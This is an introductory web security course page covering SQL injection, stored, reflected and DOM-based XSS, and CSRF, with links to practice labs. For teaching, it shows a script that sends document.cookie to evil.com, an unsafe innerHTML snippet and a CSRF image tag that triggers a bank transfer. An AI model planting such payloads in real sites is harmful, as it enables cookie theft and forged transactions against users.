🔐

Security Track

Understand common web vulnerabilities, attack patterns, and defensive techniques. Essential knowledge for building secure applications and testing for weaknesses.

Sections 4
Prerequisites Web basics, HTTP

What You'll Learn

Core Vulnerability Types

SQL Injection

Abusing database queries by injecting malicious SQL code through user input.

Cross-Site Scripting (XSS)

Injecting malicious scripts into websites. The core problem is that in HTML/CSS, there's no difference between control (HTML tags) and data (text). Any time an attacker can insert arbitrary data, they can run code in the viewer's browser.

PortSwigger has a good article on XSS

Stored XSS (Persistent XSS)

The malicious payload is saved on the server and delivered to every user who views that data.

Example: Attacker posts a comment with a script tag. Anyone loading the page executes that script.

Nice article! <script>fetch('http://evil.com/steal?c='+document.cookie)</script>

Online example (PortSwigger Lab)

Reflected XSS

The payload is immediately bounced ("reflected") back in the server's response, not stored.

Example:

https://example.com/search?q=<script>alert(1)</script>

Server naively renders: You searched for: <script>alert(1)</script>

Online example

DOM-based XSS (Client-side XSS)

The injection never touches the server. The browser's own JavaScript takes attacker-controlled input and manipulates the DOM unsafely.

<script>
  let query = location.hash.substr(1);
  document.getElementById('q').innerHTML = query;
</script>

Danger: Completely bypasses server-side sanitization.

Cross-Site Request Forgery (CSRF)

CSRF happens when a victim's browser, already authenticated to a site, is tricked into making an unwanted request. The attacker "rides" the victim's session cookies to execute unintended actions.

Classic Web CSRF

Pattern: Exploit implicit trust (cookies, bearer tokens automatically sent).

  1. Victim is logged into bank.com
  2. Attacker sends victim an email with: <img src="https://bank.com/transfer?to=attacker&amount=1000">
  3. Browser auto-attaches session cookies
  4. Bank server sees valid request → money transfers

Other Important Vulnerabilities

OWASP Resources

Standards & Frameworks

Hands-on: Gruyere

Practice Environment

Gruyere is a vulnerable web application for learning security.

Hands-on: Electricity Shop

Internal Vulnerable Application

Electricity Shop is a Tenzai-built vulnerable e-commerce application. Run it locally and find as many vulnerabilities as you can.